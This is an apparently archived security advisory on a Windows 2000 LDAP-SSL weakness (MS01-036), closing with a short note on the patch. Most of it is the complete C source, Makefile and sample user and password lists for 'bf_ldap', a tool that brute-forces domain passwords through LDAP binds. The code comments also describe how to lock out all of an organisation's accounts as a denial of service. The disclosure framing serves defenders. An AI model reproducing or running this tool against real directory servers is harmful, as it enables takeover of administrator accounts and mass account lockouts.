COMMAND

    LDAP

SYSTEMS AFFECTED

    Win2k

PROBLEM

    This one is  important because the  vulnerability could lead  to a
    compromised Domain Administrator account.  Its unlikely,  however,
    that many of you  are actually affected by  this now.  Only  those
    that  are  using  LDAP-SSL  on  their DCs are actually vulnerable.
    See:

        http://support.microsoft.com/support/kb/articles/Q247/0/78.ASP

    for  the  exact  steps  you  must  have  taken  to  be  considered
    vulnerable.  Briefly;
    1. You're using W2K
    2. You've  installed an  Enterprise Certificate  Authority (and  a
       valid certificate) on a W2K Domain Controller
    3. You've  modified your  domain policy  to allow  your DCs to use
       certificate requests

    LDAP-SSL is done over TCP636, so you could also check for  traffic
    on that port.  Typically  such traffic would not occur  across the
    Internet, so  its unlikely  that you're  vulnerable to  an outside
    attack (but you should check your gateways anyway).

    The LDAP service for Exchange Server 5.5 is not affected.  NT  4.0
    systems are also immune.

    Eliel  Sardanons  dis  this  program  to  brute force Windows 2000
    passwords using  LDAP Service.   This program  let you  choose  if
    you want  the passwords  to be  automatically generated  or use  a
    dictionary, and  if you  want to  brute force  a list  of users or
    just one.

    You  need  the  server  name  (example: www.microsoft.com) and the
    domain  name  (example:  microsoft.com),  the  domain name will be
    translated to DC=Microsoft,DC=com by the program. The next version
    will  find  the  domain  name  automatically listing the directory
    attributes.

    The code(s):

    -------[Makefile
    # Brute Force W2K LDAP Makefile
    # Coded and Backdored by Eliel C. Sardanons
    
    CC = gcc -O2 -lldap -llber -lresolv
    
    bf_ldap: bf_ldap.c
    
    clean:
	    rm -f bf_ldap *~
    
    --------[list
    password1
    password2
    password3
    mipass
    mypassword
    
    --------[user
    Administrator
    user1
    user2
    user3
    
    --------[bf_ldap.c
    /* Brute force Windows 2000 Passwords via LDAP
     *
     * Coded and backdored by Eliel Sardanons (eliel.sardanons@philips.edu.ar)
     *
     * I have found that we are able to brute force W2K passwords fast trying to
     * log in to the LDAP service. Microsoft doesn't put any delay to this service
     * so we can try a lot of times, but for the normal accounts there is a policy
     * to block it in a number of fails attempts, so be careful.
     * If an enterprise has the usernames in the form user1,user2,user3 and so on
     * or you have a list of usernames, we can disable all the user accounts! if
     * the policy that disable the accounts in a number of login fails is enabled.
     * This can be consider a DoS. You just need to attempt to login with all the
     * enterprise accounts example:
     * [bash# ./bf_ldap -s server -d domain -U users_list -l 1]
     * with this command it will try to login to all the enterprise accounts
     * more than 100 times each and the accounts will be blocked.
     * to compile the program type:
     * [bash# make]
     * example of how to use it:
     * [bash# ./bf_ldap -s www.microsoft.com -d microsoft.com -u Administrator -l 8]
     *
     * What happen if the users are in a OU?
     * If the users are in an Organizational Unit (OU) you must change
     * the LDAP_USER_PATH with the '-P' option for example:
     * [-P ",OU=MyUsers,"]
     *
     * What happen if I don't have the domain name?
     * You can try finding it by your self using an LDAP browsing tool like
     * 'saucer' (if you have saucer use the 'show' command) and you will find it
     * in the form DC=microsoft,DC=com.
     *
     */
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <errno.h>
    #include <ldap.h>
    
    #define AUTHOR_INFO "Eliel Sardanons <eliel.sardanons@philips.edu.ar>\n"
    #define LDAP_FILTER "(&(objectClass=user)(samAccountName=*))"
    #define LDAP_USER_PATH ",CN=Users,"
    #define DEBUG_NO 0
    #define DEBUG_YES 1
    
    int count=0;
    int debug=DEBUG_NO;
    int user_list=0;
    int found=0;
    
    int usage (char *progname) {
       printf (AUTHOR_INFO);
       printf ("Usage:\n%s <parameters> <optional>\nparameters:\n\t-s server\n\t-d domain name\n\t-u|-U username | users list file name\n\t-L|-l passwords list | lenght of passwords to generate\noptional:\n\t-p port (default 389)\n\t-v (verbose mode)\n\t-P Ldap user path (default ,CN=Users,)\n", progname);
       exit(-1);
    }
    
    char * parse_domain (char *domain) {
       int first=0, len=0;
       char *ptr, *output_domain, *tmp;
       const char point[] = ".";
       tmp = domain;
       if (strlen(domain) >= 256)
          lammer(0);
       output_domain = (char *)malloc(512);
       while ((ptr = strstr(tmp, point)) != NULL) {
          if (first == 0) {
	     strcat (output_domain, "DC=");
	     strncat (output_domain, tmp, (ptr - tmp));
	     first = 1;
          } else {
	     strncat (output_domain, ",DC=",
		      sizeof(output_domain)-strlen(output_domain));
	     if (sizeof(output_domain)-strlen(output_domain) <= (ptr - tmp))
	        lammer(2);
	     strncat (output_domain, tmp, (ptr - tmp));
          }
          tmp = tmp + (ptr - tmp) + 1;
       }
       strncat (output_domain, ",DC=",
	        sizeof(output_domain)-strlen(output_domain));
       strncat (output_domain, tmp,
	        sizeof(output_domain)-strlen(output_domain));
       return output_domain;
    }
    
    int try_pass (char *username, char *password, LDAP *ld) {
          int error;
          /* Try to log in */
          error = ldap_simple_bind_s(ld, username, password);
          if (debug == DEBUG_YES) {
	     printf ("Up to now: %d \r", count++);
	     fflush(stdout);
          }
          if (error != 49 && error != LDAP_SUCCESS) {
	     printf ("try_pass(): error: %s\n", ldap_err2string(error));
	     ldap_unbind(ld);
	     exit(-1);
          } else if (!error) {
	     printf ("Password Found: %s\n", password);
	     found = 1;
	     if (user_list == 1)
	       return 0;
	     else
	       exit(0);
          } else {
	     return -1;
          }
    }
    
    int gen_pass (char *preview, int len, LDAP *ld, char *username) {
          int i;
          if (len == 0) {
	     if (try_pass(username, preview, ld) == 0)
	       return 0;
	     else
	       return 1;
          } else {
	     for (i=65;i<=122;i++) {
	        preview[len-1] = i;
	        if (gen_pass(preview,len - 1, ld, username) == 0)
	          return 0;
	     }
          }
          return;
    }
    
    int lammer (int val) {
       printf ("Don't try to find an overflow in : %d\n", val);
       exit(-1);
    }
    
    int main (int argc, char *argv[]) {
       LDAP *ld;
       LDAPMessage *ret;
       FILE *pass_list;
       FILE *user_list_fd;
       int error=0, pass_len=0, file_open=0, port=LDAP_PORT;
       char username[256], tmp[256], user[256];
       char server[256], domain[256], pass_list_name[256], opt, *password;
       char filter[] = LDAP_FILTER;
       char user_list_name[256];
       char ldap_user_path[256];
    
       password = (char *)malloc(256);
       strncpy (ldap_user_path, LDAP_USER_PATH, sizeof(ldap_user_path));
    
       if (argc <= 6)
         usage(argv[0]);
    
       while ((opt = getopt(argc, argv, "P:s:p:d:U:u:L:l:v")) != EOF) {
          switch (opt) {
           case 's':
	     strncpy (server, optarg, sizeof(server));
	     break;
           case 'p':
	     port = atoi(optarg);
	     if (port <= 0 || port >= 65535)
		     lammer(3);
	     break;
           case 'd':
	     strncpy (domain, parse_domain(optarg), sizeof(domain));
	     break;
           case 'L':
	     strncpy (pass_list_name, optarg, sizeof(pass_list_name));
	     file_open = 1;
	     break;
           case 'l':
	     if ((pass_len = atoi(optarg)) <= 0) {
	        printf ("-l option error\n");
	        exit(-1);
	     } else if (pass_len > 255)
	          lammer(4);
	     file_open = 0;
	     break;
           case 'v':
	     debug=DEBUG_YES;
	     break;
           case 'u':
	     strncpy (user, optarg, sizeof(user));
	     user_list = 0;
	     break;
           case 'U':
	     strncpy (user_list_name, optarg, sizeof(user_list_name));
	     user_list = 1;
	     break;
           case 'P':
	     strncpy (ldap_user_path, optarg, sizeof(ldap_user_path));
	     if (ldap_user_path[0] != ',' ||
	         ldap_user_path[strlen(ldap_user_path)-1] != ',') {
	        printf ("bad LDAP_USER_PATH read documentation in the source code\n");
	        exit(-1);
	     }
	     break;
           default:
	     usage(argv[0]);
          }
       }
    
       if (debug == DEBUG_YES)
         printf (AUTHOR_INFO);
       if ((ld = ldap_open(server, port)) == NULL) {
          printf("ldap_open(): %s\n", strerror(errno));
          exit (-1);
       } else if (debug == DEBUG_YES)
          printf ("Connected to: %s:%d\n", server, port);
       snprintf (tmp, sizeof(tmp), "CN=Users,%s", domain);
       if (debug == DEBUG_YES)
         printf ("Checking Domain: -> ");
       error = ldap_search_s(ld, tmp, LDAP_SCOPE_SUBTREE, filter, NULL, 0, &ret);
       if (error != LDAP_SUCCESS) {
          printf ("Domain ERROR\n");
          ldap_memfree(ret);
          exit(-1);
       }
       ldap_memfree(ret);
       if (debug == DEBUG_YES)
         printf ("Success\nStart brute force attack...\n");
       if (!user_list) {
          snprintf (username, sizeof(username), "CN=%s", user);
          strncat (username, ldap_user_path, sizeof(username)-strlen(username));
          strncat (username, domain, sizeof(username)-strlen(username));
       }
       if (!file_open) {
          if (!user_list) {
	     printf ("Username: %s\n", user);
	     gen_pass(password, pass_len, ld, username);
	     printf ("\nNothing Found\n");
          } else {
	     if ((user_list_fd = fopen (user_list_name, "r")) == NULL) {
	        printf("fopen(): ", strerror(errno));
	        exit(-1);
	     }
	     do {
	        if (fgets(username, 255, user_list_fd) == NULL) {
	           if (found == 0)
		     printf ("\nNothing found\n");
	           else
		     printf ("\nNothing more found\n");
	           ldap_unbind(ld);
	           exit(0);
	        } else {
	           username[strlen(username) - 1] = '\0';
	           snprintf (user, sizeof(user), "CN=%s", username);
	           strncat (user, ldap_user_path, sizeof(user)-strlen(user));
	           strncat (user, domain, sizeof(user)-strlen(user));
	        }
	        printf ("Username: %s\n", username);
	        gen_pass(password, pass_len, ld, user);
	        memset (username, 0, sizeof(username));
	     } while (1);
          }
       } else {
          if ((pass_list = fopen (pass_list_name, "r")) == NULL) {
	     printf("fopen(): ", strerror(errno));
	     exit(-1);
          }
          if (user_list) {
	     if ((user_list_fd = fopen(user_list_name, "r")) == NULL) {
	        printf("fopen(): ", strerror(errno));
	        exit(-1);
	     }
	     do {
	        if (fgets(username, 255, user_list_fd) == NULL) {
	           if (found == 1)
		     printf ("\nNothing more Found\n");
	           else
		     printf ("\nNothing Found\n");
	           ldap_unbind(ld);
	           exit(0);
	        } else {
	           username[strlen(username) - 1] = '\0';
	           snprintf (user, sizeof(user), "CN=%s", username);
	           strncat (user, ldap_user_path, sizeof(user)-strlen(user));
	           strncat (user, domain, sizeof(user)-strlen(user));
	        }
	        printf ("\nUsername: %s\n", username);
	        do {
	           if (fgets(password, 255, pass_list) == NULL) {
		      if (fseek(pass_list, 0, SEEK_SET) < 0) {
		         printf ("fseek(): ", strerror(errno));
		         exit(-1);
		      }
		      break;
	           } else {
		      password[strlen(password) - 1] = '\0';
	           }
	           if (try_pass(user, password, ld) == 0) {
		      if (fseek(pass_list, 0, SEEK_SET) < 0) {
		         printf ("fseek(): ", strerror(errno));
		         exit(-1);
		      }
		      break;
	           }
	        } while (1);
	     } while (1);
          } else {
	     printf ("Username: %s\n", user);
	     do {
	        if (fgets(password, 255, pass_list) == NULL) {
	           printf ("\nNothing Found\n");
	           exit(0);
	        } else
	           password[strlen(password) - 1] = '\0';
	        try_pass(username, password, ld);
	     } while (1);
          }
       }
       exit(0);
    }

SOLUTION

    You're not vulnerable by default, as you can see you have to  have
    taken  some  pretty  significant  steps  to configure your machine
    into a vulnerable  situation.  Problem  is, the actions  above are
    intended to make your box  more secure, so vulnerable systems  are
    sensitive with critical data on them.

    The full bulletin can be found at:

        http://www.microsoft.com/technet/security/bulletin/MS01-036.asp

    The fix  will be  included in  W2K SP3  and does  require a reboot
    (nice new touch on the MS Security Bulletins).